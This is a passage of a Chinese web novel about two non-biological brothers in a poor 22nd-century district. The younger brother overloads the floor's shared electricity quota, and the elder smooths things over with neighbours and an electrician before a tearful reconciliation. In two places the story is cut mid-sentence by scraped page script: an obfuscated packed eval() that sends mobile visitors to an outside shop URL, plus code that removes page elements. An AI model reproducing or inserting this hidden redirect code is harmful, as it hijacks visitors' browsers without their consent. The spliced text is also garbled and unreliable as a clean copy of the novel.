黛烬还没等人把话说完,也顾不得今天晚上还有安排,死死抓住每一个即将到手的机会,马上答应下来。 “我方便来!您说个时间就行,我随时到。” 万事开头难。 黛烬这边答应,对面的人也松了口气,两人很快便约好见面时间。 黛烬面前的车已经开始陆续上人,站台只剩下他一个,司机也按了按喇叭提醒他上车。 招聘公司的电话像是及时雨,来接他回家的公交车又贴心地给他打了把伞。 但鱼和熊掌不可兼得。 所以黛烬选择冒雨狂奔。 他快跑到路边,狠下心拦了辆春节期间三倍收费的出租车。 黛烬默默在心里祈祷这次能面上这份工作,不然可真是赔了夫人又折兵。 他坐进车里,把面试公司的地点报给司机。 “师傅,濯缨市能去吗?” 19. 【燃】升温 七八区又冷了,好像这里的天气也要凑在一起过年一样,低温哥哥带着低温弟弟,低温加倍。 黛燃又看了眼他哥的消息,然后收起手机往楼上走,他搓着手打开家门,家里果然和黛烬说得一样空。 家里拢共就两个人,缺一个都能破坏这个家。 黛燃门还没关,手机上就收到了新消息,他给冷到僵硬的手指哈气取暖,等终于能活动后连忙把手机拿出来看。 【dj】:我今天加班,你早点休息 低温哥哥回不来了。 黛燃的手指又冷又硬,打起字来像是在用根棍子戳屏幕。 【dr】:不是去看妈妈吗? 【dr】:怎么又加班? 【dj】:你改口改得还挺快 小心思被看穿,黛燃的身体在降温,脸却先升温了。 还好他哥没为难他,很快又主动把话题扯回来。 【dj】:临时加班,怕我妈等久了,公交车也慢,我打车先去看的她,然后来这边加班 【dr】:好,哥几点回来? 黛燃打完字就靠墙蹲下,手机放在腿上,两手缩进袖子里。 他哥却像是早已习惯这种温度,没有被低温影响到任何生活和工作,回复的速度丝毫不逊于平常。 【dj】:说不准,但我估计最多再加三小时吧,我没有夜班员工开的证明,联盟规定白班工加班超过十点公司要罚款,所以我今天晚上肯定回得来 黛燃看了眼时间,现在已经差不多七点了。他又把视线移回手机上,他哥的消息接二连三。 【dj】:办公室没开暖气冷得要死 【dj】:都当老板的还这么抠,开个暖气咋滴他了? 【dj】:再说一遍,没钱的不许当老板 猝不及防被黛烬的话逗笑,黛燃觉得身体都没那么冷了。 【dj】:哦对了,晚上冷,你睡觉记得多加一床被子,我也不清楚家里还有没有多余的厚被子,不行你先去我房间里把我的被子拿去盖,我回去路上买一床新的,下次洗了换给你 黛燃每回一条消息,都要重新用哈气的温度把手召唤回来一次。 【dr】:好,哥几点回来? 【dj】:? 【dj】:是我手机坏了还是我说话不好使了?一样的话你复制粘贴发两遍 黛燃这次急得气都没哈,以自己现在最快的速度,把消息一个字一个字敲出来。 【dr】:哥大概几点能回来? 不到三小时这个范围也太广了,黛燃想要一个具体的时间,越具体越好。 但是他哥好像没懂他的意思,看起来有点生气了。 【dj】:我尽量不明天回来 【dr】:好,哥下班注意安全 【dj】:知道,你别忘了加被子这事儿啊,别冻感冒了 黛燃松了口气。 看来是没生气。 【dr】:好,不会忘的,哥放心。 虽然手还是冷的,但黛燃的心暖融融的。 低温弟弟升温了。 * 轮到低温哥哥了。 黛燃站起身走进家门,将门锁好后便有条不紊地开始处理自己的事情。 他边忙手头的事情边看时间,又时不时跑到卧室的窗边,开窗探身往楼下看看,尽力推测他哥什么时候回家。 相思虽苦,却并不会影响黛燃高效率地处理自己的事情,上完课写完作业,他便张罗着准备吃饭。 他昨天晚上该吃年夜饭的时间直接在酒店睡过去了,所以打算今天晚上补上。 自从普通人的吃食被功能食品取代后,大家慢慢都不做年夜饭了。 反正也就是把食品加热后倒进碗里,再一群人坐在一起吃,要是人多等久了,饭凉了还得费电拿去再加热。 所以大家慢慢都改成自己吃自己的,回家就只是拜年,倒也省去了不少麻烦。 但黛燃从前是吃年夜饭的,不过也都是一个人吃罢了。 他的年夜饭,那绝对算得上“丰盛”二字。 临家为联盟的育种基地提供水源无偿灌溉,因此基地也有一大块儿临家的分区,资源都是交换来的。 育种基地有专人培育,他们只需要给资源,然后在家里坐着等食材空运就行。 黛燃每天上午出门上学时,都能看到联盟的人把新鲜的瓜果蔬菜变着法地往家里送,他从没为食物操心过。 食材种类多,能做出来的花样自然也多,年夜饭自然丰盛。 思及此,黛燃深吸一口气,收拾好书包便往厨房走去。 长这么大,年夜饭他确实吃过不少。 但团圆饭,他没吃过。 黛燃随便选了一包功能食品,撕开倒入碗里,再熟练地拿去微波炉加热。 等待的时间最磨人。 他靠在厨房的推拉门前,闲来无事,无意间朝客厅的茶几扫去一眼。 该等着一起吃饭的人一个都不在,餐桌前空空荡荡。 黛燃没忍住又触景生情。 从前他家也是。 一到过年,母亲就要飞到各家分公司开年会,临家生意大,自己的事情处理完了,还要忙着和其他区的大人物见见面,时刻联络关系,打通人脉。 母亲为此总是到处跑,父亲也就跟着不见踪影。 连家里的佣人都有法定节假日,黛燃在春节这种法定节假日却要“违法上班”,完成母亲交代给他的任务。 佣人离开临家前,黛燃需要把管家准备好的礼品一个个送到位,礼品、食物、红包,该有的一个不差。 他按照任务一个个送完,再礼貌道谢,目送所有佣人陆续离开。 简单重复的工作像是规定好的流水线作业,黛燃从天亮做到天黑。 过年是给大人小孩休息的,没什么需要做的事情,黛燃做完工作,剩下多数时候都是坐在客厅里等着父母回来。 虽然希望渺茫就是了。 到了该吃饭的时间,他再一个人去楼下凑合一下。 在临家是不需要担心电费的。 厨师走之前会提前把菜做好,在餐桌上摆整齐,到了时间,他想吃什么就加热什么,可以随时吃上这份“自助餐”。 他五岁以后的第一个跨年夜,就第一次吃上了这种一个人的年夜饭。 照顾他的佣人阿姨说吃完就能看到爸妈回来,爸妈会带他回临家老宅,去看姥姥姥爷和姨母表哥,所以他吃得很高兴。 但希望是为落空而存在的。 回老宅确实是真的,但爸妈回家却是瞬息万变的,没有爸妈带他,他回老宅也是几乎不可能的。 这些事情没人敢告诉他,大概是怕他闹脾气,谁说谁倒霉。 所以他总是自己经历了失望,再谨慎地整理经验,避免下次的希望再落空。 周而复始。 黛燃控制不住有点迷茫,还好此时的微波炉“叮”得一声唤回了他的思绪。 他直起身打开微波炉,把已经被加热升温的食物拿出来,他哥没回来,他就一个人坐到茶几旁的沙发上吃。 刚吃几口,放在茶几上的手机就响了。 黛燃身体一怔,立马放下碗看手机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531625|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但他还是没整理好经验,希望再次落空。 是朋友发来的消息。 【随便随便】:我临时托人找的片子,看着怎么样? 【dr】:看这个还要写观后感吗 【随便随便】:哈哈哈哈哈哈哈那倒不用 【随便随便】:主要是你要的太急了,要是早点说,我还能找我两个哥哥给你拍一部现成的(偷笑) 【dr】:两个哥哥?都是你家里人吗 【随便随便】:都是我家人 黛燃愣愣地看着手机,忽然打出一句。 【dr】:你爸妈都支持兄弟在一起吗 【随便随便】:? 【随便随便】:那肯定不是兄弟啊,那不成乱|伦了吗?是我表哥和他爱人,他们已经结婚了,所以都是我家里人 一长串消息,黛燃却只能看到其中那刺目的两个字。 乱|伦。 他和他哥在一起,算是乱|伦吗? 黛燃自问自答。 不算。 他们又不是亲兄弟。 黛燃默默收回之前想和他哥当亲兄弟的愿望,放下手机,闭眼双手合十。 新年的第一个愿望出现了。 哪怕每人每年只能许一个愿望,他也会毫不犹豫地在此刻用掉,用来祈祷之前没说出来的愿望都是不灵的。 黛燃认真许愿,说完还礼貌道谢。 “别让我和我哥做亲兄弟,谢谢。” 再睁开眼时,黛燃下意识往墙上的挂钟看去,这个动作他今天至少做了八百遍,已经短暂地成了个习惯。 快十点了。 黛燃吓了一跳,饭都顾不得吃,连忙从客厅跑到黛烬的卧室,找到遥控器迅速把空调暖气打开。 站在空调下,感受着室内逐渐升起的温度,他终于放下心。 时间应该刚刚好。 他哥下午在手机里说很冷,他现在打开暖气,他哥回来的时候就不会冷了。 而且他没有提前很多时间开,应该也不会费那么多电。 黛燃打开空调后,才慢步回到客厅。 天气冷,饭就凉得快。 为了不生病再给他哥添麻烦,黛燃将还剩一半的功能食品拿去再加热。 微波炉和空调暖气同时打开。 黛燃听着耳边微波炉启动的声响,心里却莫名有点惊慌,他这次只加热半碗,设定的时间也缩短一半。 可能是他太饿了? 他觉得这等待的三分钟尤其难熬,心中隐隐觉得有什么坏事要发生。 他紧紧盯着微波炉的作业时间,时间一分一秒过去,倒计时显示还剩下最后三十秒,黛燃提心吊胆地等着。 如果许愿的神仙也可以看在他从前姓临的份上卖他一个面子,破例给他多许一个愿望的机会的话。 他决定用来祈祷今天不要发生什么坏事了,他只想安安稳稳地和他哥过日子。 但坏事总是默契地遵循墨菲定律。 怕什么来什么。 黛燃等时间的时候人还是蒙的,室内就“唰”一下忽然黑了。 从客厅到卧室再到厨房,每一处亮灯的地方都在瞬间陷入黑暗,黛燃的心紧张得扑通扑通跳。 家里的门不隔音,邻居抱怨的声音关上门在家里都听得清。 “怎么停电了?” “我看是跳闸吧?” “谁家大年初一用这么多电?咱们小区的总用电量都是固定的,说好了都不乱用呢?” 黛燃饭都还没吃完,心里却只剩下一个念头。 完蛋了。 20. 【烬】跳闸 黛烬手里拎着新买的被子,心里想着刚到手的第二份工作,嘴上不停感慨今天真是走运。 谁说情场和商场不能同时得意? 黛烬在心里得意地哼哼。 有些人真是吃不到葡萄说葡萄酸。 刚走到家楼下,还没进楼梯,就见三楼一整层楼都在眼前瞬间断电,世界片刻间便陷入一片漆黑。 黛烬的心猛地跳了一下,接着就听到了邻居此起彼伏的抱怨声。 “怎么断电了?” “是跳闸了吧!” “只有我们层跳闸了吗?” 黛烬看戏看到自己头上,连忙从兜里掏手机,第一时间给黛燃发去消息。 【dj】:燃燃你在家吗 【dj】:睡了吗 【dj】:我看家里忽然断电了,你一个人在家没问题吧 黛烬边看手机,脚下边加快步子往家的方向走。 黛燃一路上都没回他消息,害怕出什么事,黛烬更加着急,扶着掉漆的栏杆快步往三楼赶。 黛烬一路上提心吊胆,气喘吁吁地赶到家门口,他手忙脚乱地掏钥匙要开门,却见家门忽然被人从里面打开了。 是黛燃。 黛烬拿钥匙的手一顿,抬眼就看到黛燃正安安静静地站在黑暗里。 没了光照亮,屋子里黑得伸手不见五指,连黛燃是不是垂着头都看不清了。 黛烬长臂一伸,将半开的门推得更开,他走进家门,手里买的被子被靠边放在家门口,钥匙也顺手搁在进门的桌上。 他手里空无一物,刚好可以把弟弟抱在怀里。 他没问黛燃之前去哪儿了,也没问黛燃为什么提早回家。 那些一路上惦记的事情,在真的见到黛燃的这一刻,好像全都没什么用了。 黛烬回家只能想到一件事,那就是先问黛燃好不好。 “燃燃你怎么样,没事吧?” 直到抱住黛燃的那一刻,黛烬才方觉黛燃原来是低着头的。 他愣了一下,没说什么,而是用左手小心地把弟弟垂下的头慢慢掰正,再高高地放在自己的肩膀上。 黛燃怎么能在他面前低头。 两人见面,黛燃终于开口说了第一句话,不知道是不是黛烬听错了,他居然从这句短短的话里听出了细微的鼻音。 黛燃好像哭了,但是他看不见。 眼睛看不见,心却在刹那间跳了闸。 “哥,我好像又给你添麻烦了。” * “王阿姨,抱歉给您添麻烦了。” 住在隔壁的王阿姨,首当其冲地遭遇断电危机。 黛烬见王阿姨手里拿着根照明用的蜡烛来开门,更是自责地不知道说什么才好。 但他知道,有些事情是一定需要处理的,黛燃不处理,就只能他兜底,他不处理,也就只能黛燃兜底。 但他是哥哥。 现在也不仅仅是哥哥。 思及此,黛烬又将身旁的黛燃往身后带了带,自己则拿着提前买好的年货往身前的妇人手上递,主动赔笑着跟人道歉。 “您看我今天加班,实在是没赶上时间,本来说好了要带年货来给大家拜个年,我现在来,应该还不算晚吧?” 邻居都是抬头不见低头见的,华人又讲究一个伸手不打笑脸人,现在黛烬放低姿态主动上门,王阿姨见状叹了口气。 她最终还是给了面子,却推拒了黛烬递来的东西。 “小黛啊,阿姨知道你这些年一个人打拼不容易,过年还要在外面忙,出点小差错在所难免,阿姨不怪你。” 黛烬其实也不擅长处理这些邻里关系,眼下被推拒了礼品,一下也有点手足无措,好在王阿姨很快便解释了原因。 “虽然咱们楼层的人都算是好说话的,但是毕竟也因为你这个事情受了牵累,你拿着这些东西去跟人家好好道个歉,总归也不是什么大事儿,大家都会体谅你的。” 王阿姨话说到一半,身后回家团圆的小女儿便出声唤她。 “妈,谁来了啊?” 王阿姨没回答问题,而是把话抛回去。 “什么事儿啊?” 这次出声的是个男人,黛烬听出来是王阿姨家的大儿子。 “妈,今天晚上还能来电吗?我手机还没充电呢,晚上工作消息都回不了了,不知道哪个心黑的整这出,我真服了。” “罪魁祸首”黛烬此时正在门口站着,王阿姨被儿子的话打了个措手不及,有点尴尬,连忙打了个圆场训斥起儿子。 “忙忙忙,回家过年还忙工作,今天应该是来不了电了,实在不行,妈一会儿去楼下给你租个充电宝去。” 王阿姨是个行动派,说完就拿了家门钥匙,锁上门,准备到楼下小店借工作用的大型供能充电宝去了。 她临走前又看了眼拎着大包小包礼品的黛烬,想想还是嘱托了句。 “小黛啊,你看阿姨这正要去忙,就不留你了,你这东西阿姨就先不收了,你多留一份,后面拿给几个邻居们吧。” 黛烬听懂了王阿姨口中的未尽之意,知道对方要忙,他也不好强留人,只得点点头目送妇人离开。 他目送别人,黛燃就在身旁一言不发地目送他。 黛烬自己也有点茫然,他手里拎着东西,转身看向几家等着他一一上门赔礼道歉的邻居。 大家的房门都紧闭着,他知道自己还有一场“硬仗”要打。 二十二世纪的水电费是头等消费,普通人用不起,但随着科技进步,却都有必须用上电的时候。 他们这种地方电力覆盖本就不广,电费更是雪上加霜。 覆盖的电网每年的维护成本很高,而用得起电的人却很少,综合电费算下来,其实比二三区那种富人区都还要贵很多。 所以每家每户都节省着用。 但问题很快也随之出现,普通住户一个月用到的电量算下来,根本到不了电力公司的“起步量”。 不到量,电力公司就不会供电,很现实的问题。 为了达到这个“起步量”,大家便私下商议将用电绑在一起,花小钱办大事。 他们要躲电力公司的审查,因此账目无法区分你我,是真正意义上的君子协议。 后面为了方便管理和约束居民用电,他们小区在这方面实行的是“什伍连坐制”。 简单点来说,就是将同一楼层需要用电的住户强制绑定在一起。 大家身份地位差不多,信誉值差不多,因此每个人的用电份额也差不多,可以申请下来的用电总额度就既定。 大家会私底下约好什么电器能用,什么不能用,每家都算出差不多的用电量,自己心里有个数。 为了都能用上电,大家不会去计较一些细枝末节上的东西,你家多用一点,我家就少用一点,就算差个几度也没关系。 电费统一月初结算。 届时他们会以一个楼层的总用电量作为独立单位进行上报,结算好上月的用电量,再各家均摊电费。 通过这样的办法,普通人便也能给家里通上电,大家通力合作,互利共赢。 这样的法子有好处,可弊端也大。 这就意味着只要同楼层的任何一家用电出了问题,荣辱与共,整层楼的住户都将会被连带。 不仅是没有电用,就连联盟居民最赖以生存的信誉值也会被扣除相应的分值。 屋漏偏逢连夜雨。 今天又恰好是三号,正是月初。 剩余的总电量额度本就岌岌可危,现在黛烬家里一下多用出这么多电,超出额度,直接让整层楼的供电都跳了闸。 黛烬知道这得牵扯到多少纠纷,他在心里给自己鼓气,决定采用“就近原则”,从离王阿姨家最近的钱叔叔家开始敲门。 他站在贴满了小广告的门前,提着一口气,伸手轻轻敲了敲。 “咚咚咚——” 钱叔叔门开得很快,一见面就是笑脸相迎,黛烬迟来地赞同了王阿姨的观点。 王阿姨说得对,大年初一没人会上赶着触霉头,只要他愿意承担后果,其实没有几个人会真的为难他。 开门的钱叔叔也没给黛烬甩脸子,反倒主动安慰起来。 “唉,孩子还小,不知道这些事情很正常,跳闸了修修不就行了,不是啥大事。” 黛烬忙接话。 “是是是,真是给您添麻烦了,我回去会说他的。” 钱叔叔笑着说完场面话,想到下面要说的正事,面色顿时变得不自然起来。 “这个用电额度都是次要的,我们上个月额度用没了,大不了申请提前结算,直接用这个月的额度就行,顶多大家吃点小亏,这都小事儿。 就是小黛啊,这个维修费,我估计大家伙儿会有点意见啊……” 黛烬敲门前就有了打算,闻言忙给出解决办法。 “您放心,这维修费我肯定会全部负责的,给大家添这么大麻烦,哪有让大家伙儿继续吃亏的道理。” 钱叔叔一听这话终于放心,松了口气上前拍拍黛烬的肩膀。 “那就没事儿啊小黛,没事儿。” 他说着,看了眼跟在黛烬身后的黛燃,顾着场面,又宽解黛烬两句。 “你看这孩子肯定也知道错了,钱你也出,我们没什么好说的,我待会儿帮你在群里说说好话,都一家人,小事儿。” “真是太谢谢您了,又给您添麻烦。” 黛烬感激地又说了几句道谢的话,这才想起手里的东西。 麻烦人办事哪有空手的道理。 他将准备给钱叔叔的礼品拿出来,一把塞进人手里,想了想,又把那份多出来的礼品也一并送上。 塞东西的时候他才顿悟! 王阿姨不愧是在这边住了几十年的人,看人看事比他有经验的多,他按人头买的礼品,只有多出王阿姨的那份,他才能拿得出来送给帮忙办事的钱叔叔。 姜果然还是老的辣。 他放完东西转身,刚好和租借到充电宝回家的王阿姨打了个照面。 见钱叔叔在打电话,不好出声打扰,两人便都无声地笑笑,算是打了招呼。 黛烬想着下次一定要再买一份东西给王阿姨补上,初战告捷,他心里的大石头也跟着落了地。 其实这些事情都不大,只有像黛烬这种第一次处理的人才会胆战心惊。 如履薄冰。 但没人教他,他也就只能冒着风险多踩几块冰了。 黛烬见钱叔叔喜滋滋收了东西,已经在着手帮着联系起邻居挨个解释原因,他打了个招呼,又道了声谢才走出来,准备继续处理手头最紧要的事情。 维修电网。 黛烬直接顺势在钱叔叔家门上贴着的广告群里翻找自己想要的联系方式,这是他第一次感谢这些烦人广告的免费搬运工。 找到了电工号码,他一个数一个数地拨号,核对,确认没错后才一个人走到楼梯口给电工师傅打电话。 “是电工金师傅吗?我们整层楼的电都跳闸了,能麻烦您来一趟吗?” 黛烬站久了也累,蹲着反而舒服点。 谁成想刚一蹲下,就猝不及防听到一个坏消息,黛烬拿着手机连声质问。 “加夜班要钱?你好歹也算体制内吧,不是说为劳动人民服务吗?” “六百加班费?你干脆去抢算了,给个底价,都是打工人我不大刀了,我这边一整层楼业务呢,价低走量行不行?” “四百?行吧行吧,你尽快啊!” 归功于这些年在外面吃的大小亏,黛烬砍起价来那叫一个熟能生巧,几句话就把固定流程快速走完,来到最后一步报地址环节。 “我在哪个区?我在七八区,详细地址是——” 黛烬话还没说完,就被电话那端的声音打断,他听了对面的话更是气不打一处来,没想到价格还不是最难过的关卡! 真是一关比一关难过。 黛烬本来被临时加价就不爽,现在更是忍无可忍,声音里的火气压都压不住。 “你什么意思?贫民区不来?” 黛烬嗤笑一声,声音也冷了下来。 “体制内还搞这种阶级歧视,你信不信我去联盟举报你。” 黛烬不听对面冠冕堂皇的解释,他知道对方说这么多无非是又想变着法地加价,便直接给出自己最后的报价。 “行了行了,我再给你补一百交通费,一共给你五百,咱俩的电话都是有录音的,再不答应我就电话热线、上网曝光、举报信一条龙,直接给你捅到上面去。” 对面大概没想到黛烬是个硬茬,最终还是让步,两人约了最快的上门维修时间,黛烬给对方提供的账号走官方渠道付去一百定金,此事才勉强作罢。 黛烬电话打得太专心,没注意到身后的黛燃。 他刚挂掉电话,转身就见黛燃正直直站在原地,旁边被摆了一把椅子。 黛烬认出那是王阿姨家自己编的藤椅,黛燃没坐。 黛烬的精气神都被加班和突发事件熬没了,本来也没力气骂人,一看黛燃这样子,最后一丝怒火也跟着消失无踪。 他走过去亲手搬起藤椅,将椅子送回王阿姨家里,又和人道过谢才走出来。 黛燃还站在原地,看他出来,像向日葵自动向阳一样,转过脸看他。 黛烬看周围没人,没多说什么,牵起黛燃的手就往家门口走。 “回家吧。” * 家门被打开。 临出门开的暖气,此时温度已经散得干干净净。 黛烬没说话,黛燃更不敢说话。 黛烬进门便松开黛燃的手,独自走到厨房,开火烧了一小锅开水,五分钟的烧水时间过得比五年还长。 见锅底开始往上翻腾出一个又一个大泡泡,黛烬便关掉火,将热水倒进干净的盆里,又兑了点凉水进去,手伸进去搅,一直把水温调到满意的温度才罢手。 无论是烧的热水还是加的冷水,黛烬全程用的都是水龙头里流动的自来水。 平常连冲碗都不舍得冲第二遍的他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531626|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这一会儿的用水量,估计都能赶上平常一两天的量了。 他依旧保持沉默,把调好的热水端到客厅的茶几上,终于在沙发上坐下休息。 见黛燃还在门口直愣愣地站着,黛烬看得心里难受,他冲门口招招手,示意黛燃到他身边来。 但黛烬的手太冷了,招起手来只有手腕能发力,指关节都被冻得通红没知觉了。 黛烬看到黛燃往他这边走,这才收回右手不再摆动,却把左手背在身后偷偷藏了起来。 刚才调水温的是左手,招手用的又是右手,左手试温度的时候不小心被烫了一下,右手又是冰的。 冰火两重天了属于是。 黛烬只得把两只手都插进兜里,看黛燃走进,他扭扭头示意黛燃洗手。 他刚牵黛燃的手时就发现了,这小子的手简直比他还凉。 黛烬的话音听不出情绪。 “手冷了吧?来泡一泡,现在这个温度正好,不烫手,泡一会儿手就热了。” 黛燃盯着盆里的清水,看水面一晃一晃的,空气中弥漫着热气,熏得人眼睛发热,积攒已久的情绪终于破壳而出。 “哥,你今天怎么用的清水啊?我手上沾到灰了,这水可能没办法循环利用了,会浪费吧。” “有进步啊,还知道浪费了,不错。” 黛烬又看了眼黛燃垂在身侧的手。 “不过你有一点说的不对,就是因为手沾到灰了才要洗,这么冷的天用冷水洗,手得放被窝里暖半天才能热吧,赶紧洗吧。” 黛燃还是没动。 “哥,这盆水的水费和烧水用的燃气费,都得要不少钱吧?” 黛烬手插在口袋里,按着口袋的内衬布料把外套往下拉了拉。 他眼神上下左右看了一圈,话音里没有嘲讽,反而带着难得一见的温柔,倒真像是在哄人的样子。 “你今天这一出,哥一个月工资搭进去都不一定够给你兜底,都浪费这么多了,还差这点儿?” 黛燃头越埋越低,两人一站一坐,黛烬坐着都快看不见黛燃垂下的脸了。 黛燃低头,黛烬就跟着低头。 黛燃低头有黛烬看,但黛烬低头不知道要给谁看。 多年的生活教会了黛烬废物利用,他连焦虑的时间也不愿浪费。 沉默的时间里,他用视线给地板“扫地”,把地上的灰尘一层一层“扫”起来。 刚扫到第三遍,地上就猝不及防地被人洒了水。 一点一滴,一点又一滴。 那是黛燃的眼泪。 黛烬好不容易用“扫地”稳定下来的心情忽然过载,然后毫无预料地跳闸了。 十七岁那年父母离婚,他独自离家,这么多年在外打拼,什么苦活儿累活儿都做过,被领导骂也是家常便饭。 他心态没那么好,他喊苦喊累,他愤世嫉俗,他怨天尤人,他感慨世道不公。 但他从来没哭过。 那句老话怎么说的? 男儿有泪不轻弹,只是未到伤心处。 黛烬有泪不轻弹,但黛燃哭了,他就忽然觉得到了伤心处。 黛烬再也坐不住,两只手都从口袋里抽出来,站起身朝着黛燃的方向走了几步。 他伸手将人往自己身上揽,任黛燃的头埋在他怀里。 他这次不强迫黛燃抬头了,因为他头也低着。 两人面对面拥抱,黛烬的泪水安静地落在地上,这下黛燃看不见了。 黛烬尽量控制嗓音,听起来像他平常那样,平静得像个没事人。 “哥知道你不是故意的,钱叔叔都说了让我别怪你,你这次长教训了,下次肯定改,是不是?” 黛燃已经泣不成声,他伸手环住黛烬的腰,脸躲进黛烬怀里,使劲点头。 黛燃的头一下一下地点,一下一下锤在黛烬心上,锤得黛烬痛哭流涕,肝肠寸断,他再也无法控制着嗓音继续保持平静。 “哥不怪你,哥不怪你。” 黛燃的哭声再也遏制不住地倾泻而出,却意外地给黛烬打了掩护。 黛烬面对厨房,正好看到没关好的水龙头,水正一点一点地往外渗,他的眼泪也跟着一滴一滴地往外漏。 他忽然想起自己刚搬进这个出租屋的时候。 那个时候的他,和黛燃现在一样大,第一次做大人,十八岁的年纪什么也不懂,什么都学着做。 换灯泡、修水管、洗衣服、开火做饭洗碗…… 没人教他,他就以为漏几滴水没什么事,结果那个月的水费交了他半个月工资。 血泪教训。 那是黛烬学得最好的成语之一。 黛烬不再管自己的声音有没有控制住,哽咽着开始自顾自地翻旧账。 “燃燃上次关水龙头,没关好,说是哥没教你,说得对,是哥忘了教,这次也是,哥没教你,所以哥不怪你。” 抽噎声一次比一次大,大到听不出来到底是谁在哭。 时隔七年,黛烬终于找到了发泄口,说出的话既是原谅黛燃,也是原谅七年前刚进社会的自己。 他不停重复。 “没人教你,你怎么会啊?不是你的问题,是没人教你,你就十八岁,刚进社会,哪里懂这些事情,不怪你……” 黛烬泪流满面。 他的眼前一片黑暗,此时却忽然在窗外看见了一束手电光,好像是电工来了,正打着手电在楼下确认情况。 “就是你们这儿跳闸了是吧?” 钱叔叔的声音紧接着传来。 “诶是是是,您就是小黛找来的电工师傅吧?方便问问您贵姓啊?” “免贵姓金,是黛烬先生委托我们过来一趟的,不用客气。” “诶呦真是辛苦您了!年初一还得烦您大老远跑一趟,您请这边走,我帮您带路。” 等待已久的邻居们闻言也纷纷躁动起来,脚步声和招呼声不绝于耳,秩序慢慢恢复,一切都在往好的方向发展。 黛烬看着这束照亮他视线的光,周围的环境很宁静,他的面上也倏忽平静下来,内心却暗流汹涌。 他的人生一直是黑暗的,一眼就望到头的。 但现在黛燃出现了。 黛燃慷慨无私地为他照了一缕手电光。 维持光线的电费,黛烬哪怕牺牲全部,让工资跳了闸也不够付。 他的那点钱拿不出手,根本付不起黛燃的“出场费”。 但他还是想要。 跳闸也要,赊账也要。 黛烬苦中作乐地想,要是黛燃也能接受黑暗的话就好了,那他就能和黛燃待得久一点,再久一点。 想法一出,他又开始左右脑互搏。 黛燃是生在电灯下的人,他没办法让黛燃亮着生下来,却要委屈地活在黑暗里。 他做不到,更舍不得。 所以他得努力工作,攒更多的钱,多到足够买下这个世界上最亮的电灯,亮到一打开就能把整个世界照得恍如白昼。 届时他会亲手举着,只给黛燃一个人照。 21. 【燃】旧账 黛燃垂着头,他想把脸贴在他哥胸前,但又怕眼泪把他哥的衣服弄脏了,所以他没贴,而是把他哥的腰抱得更紧。 泪水从眼眶掉下来是没有声音的,但是耳边没关紧的水龙头却有。 他边听水流的滴答声,边听他哥在他耳边翻旧账。 “燃燃上次关水龙头,没关好,说是哥没教你,说得对,是哥忘了教,这次也是,哥没教你,所以哥不怪你。” 他不知道他哥掉了多少眼泪,但听起来,应该比水龙头滴出来的水要多。 黛燃保持着抱住黛烬的姿势,身体也随着抽噎一抖一抖的。 但他和他哥不一样。 他是装的。 老实说,他心里其实已经平静了,只是假装自己也哭的很大声。 他有自己的考量。 黛燃趁着哭泣间隙抽抽鼻子。 这样就不会让他哥一个人哭,也就不会让他哥觉得没面子。 黛燃边装哭边盯着地面思考人生。 他以后大概也会像母亲那样成为一个商人,因为他从小学的,就是商人逐利那套思维,不做亏本买卖。 那就这套思维来说,面子往往是最不值钱的东西,不仅换不来利益,反而会因此倒贴上一大笔损失。 也许损人,却绝不利己。 反正换成他是无所谓的,他的面子不值什么钱,他也不放在心上,更不会为此付出伪装用以维系无用的面子功夫。 但他哥对他来说价值连城,那他哥的所有东西他都爱屋及乌。 所以他愿意陪他哥装一装。 黛烬不停在黛燃耳边哭着重复差不多的话,带着哭腔的话其实听不太清,但是还好他心静,有耐心一点点分辨。 “没人教你,你怎么会啊?不是你的问题,是没人教你,你就十八岁,刚进社会,哪里懂这些事情,不怪你……” 他哥真的教了他很多东西,所以他不讨厌他哥翻旧账。 而且被翻旧账的人其实根本没那么在意旧账,只有翻旧账的人最在意。 好在他的记忆力很好,哪怕是他不在意的事情,也能在需要的时候想起来。 那天他又想趁着他哥睡觉,偷偷用流动的自来水冲洗过的碗。 常在河边走,哪有不湿鞋。 他哥发现了。 黛烬顶着凌乱的头发气冲冲地走到厨房,以他对他哥的了解,那头发应该是他哥刚才因为烦躁自己抓乱的。 但黛燃现在“生死攸关”,没时间思考这些不能“保命”的东西了。 黛烬冲到厨房,正好看到黛燃手里拿着刚被冲过的碗。 他哥好面子,生活经验又丰富,一眼就看出来他做了什么。 但他哥好面子,所以不会主动去提让他没面子的东西。 黛烬果真没问黛燃为什么要再用流水冲一遍碗,而是调转矛头,将重点放在黛燃没关紧的水龙头上。 他说这水龙头最近怎么老漏水,原来是黛燃搞的鬼。 黛烬脸上挂不住,被吵醒又很是烦躁,各种负面情绪堆在一起,强行将他异化成不想明辨是非的找茬精。 他动作很大,叮铃咣当地从台面上拿过一个空碗,快速放在水龙头下,张口就骂。 “流水了不知道拿个空碗接着吗?真是有钱给你烧的。” 就骂一句哪儿能解气?黛烬手动关好水,又挑挑拣拣找出另一句。 “关个水都不会?你还能做什么?书都读到狗肚子里去了。” 黛燃心里当然不服气。 学校又不会教他怎么节约水,尤其还是因为水龙头有问题导致的漏水,不出意外,这个知识点他应该这辈子都用不上。 但很不巧,现在不就出意外了吗? 黛燃不由感慨,明天和意外,还真不知道哪个会先来。 大概是他没说话,沉默又一次重创了怒气冲冲的黛烬,他本来骂完都走了,就因为咽不下这口气,又气冲冲走回来。 